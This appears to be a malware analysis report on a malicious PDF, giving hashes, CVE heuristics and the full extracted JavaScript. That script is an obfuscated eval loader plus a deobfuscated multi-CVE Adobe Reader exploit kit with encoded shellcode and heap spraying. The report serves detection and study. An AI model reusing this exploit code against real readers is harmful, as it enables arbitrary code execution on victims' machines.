Malicious PDF — malware analysis report

Static analysis result for SHA-256 2655f7b8a11d1e1d…

MALICIOUS

PDF

78.6 KB Authoring application: ring.fromChar First seen: 2026-05-09
MD5: a700787f798fc07a81ba1f2b0f9261e1 SHA-1: f2da0678806de761f7c5267676641f90a897e2a1 SHA-256: 2655f7b8a11d1e1d9e3622b1f00686c608077d951e25968080ff6d6f7102436b
408 Risk Score

Malware Insights

The ML classifier strongly indicates maliciousness, and the presence of embedded JavaScript confirms an attempt to execute code. The JavaScript stream is likely intended to download and execute a second-stage payload, although its specific actions cannot be determined from the available evidence. The document body is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x137D9 399 bytes
SHA-256: f03a10eda36cdfca6bfcade8e777c233f229c0874c4a9446d33ed8118a88ca8b
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var gfzrj="";
eaix='his';
adkmn='tit';
e('xnbll=t'+eaix+"."+adkmn+t);
t='cer'
etww='produ';
e('jynuz=t'+eaix+"."+etww+t);
asr=e('St'+jynuz+'Code');
capl = e(xnbll);
e('k=capl.length');
for (i = 0; i < k; i+=2) {
	cav = capl[i] + capl[i+1];
	gfzrj += asr(cav);
}
e(gfzrj);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: f80395ab88861e544a445ab4197f0bb5ef2a6b6533ef2e3d3ca66877e457c2c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2e34%ue2aa%uc3fa%ue5e8%uffff%uc7ff%u2f22%u2e2e%uaf70%u72c2%u2e2f%ua72e%ua3c9%u3e61%u41a3%u1f7a%u79f5%u7d7f%u7d7d%u7d7d%u7d7d%u7d7b%u467d%u2f2a%u2e2e%u787b%u467d%u4041%u2e2e%u5b46%u425c%u7a43%ua046%u2060%uc6c2%u2e66%u2e2e%uc67e%u2e52%u2e2e%ufed1%ueaad%u4626%uc161%u2b61%uc67e%u2e42%u2e2e%ufed1%ueeab%u395b%u7a44%udd77%u4684%ud05c%u389d%u33c6%u2e2e%u7e2e%u7fc6%u2e2e%ud12e%u7dfe%ud044%ua746%u2f41%uc693%u2e26%u2e2e%uc67e%u2e12%u2e2e%ufed1%u1f4e%u4aee%u7ea5%ua51e%u227c%u7ca5%ua53a%u065c%u3697%u2e2e%u1f2e%u1fd1%u82ee%u4f12%u2c52%u0e02%ue1ef%u2f23%ucce9%uafde%u75d1%u6492%ua544%u3e6c%u3ca5%uf75b%u6aa7%u320a%ued4f%ua54e%u0a42%ua50a%u126b%u7aa5%u562b%uc42f%u64a5%ua536%u0e74%uc52f%u1acd%ua567%ua51a%uc02f%ud11f%uee1f%u82d2%ueeaa%u295a%ue1ef%u2f23%uc5e9%u15da%u0a52%u5b06%ua5cf%u0a74%uc52f%ua548%u6522%u74a5%u2f32%ua5c5%ua52a%uc62f%u6aa7%u320a%uec4f%u2e26%uc1c6%ud1d0%u46d1%u5a5a%u145e%u0101%u5844%u435b%u4d00%u0041%u4d4d%u4101%u5e00%u5e46%u4811%u1f13%u0818%u134b%u2e1b';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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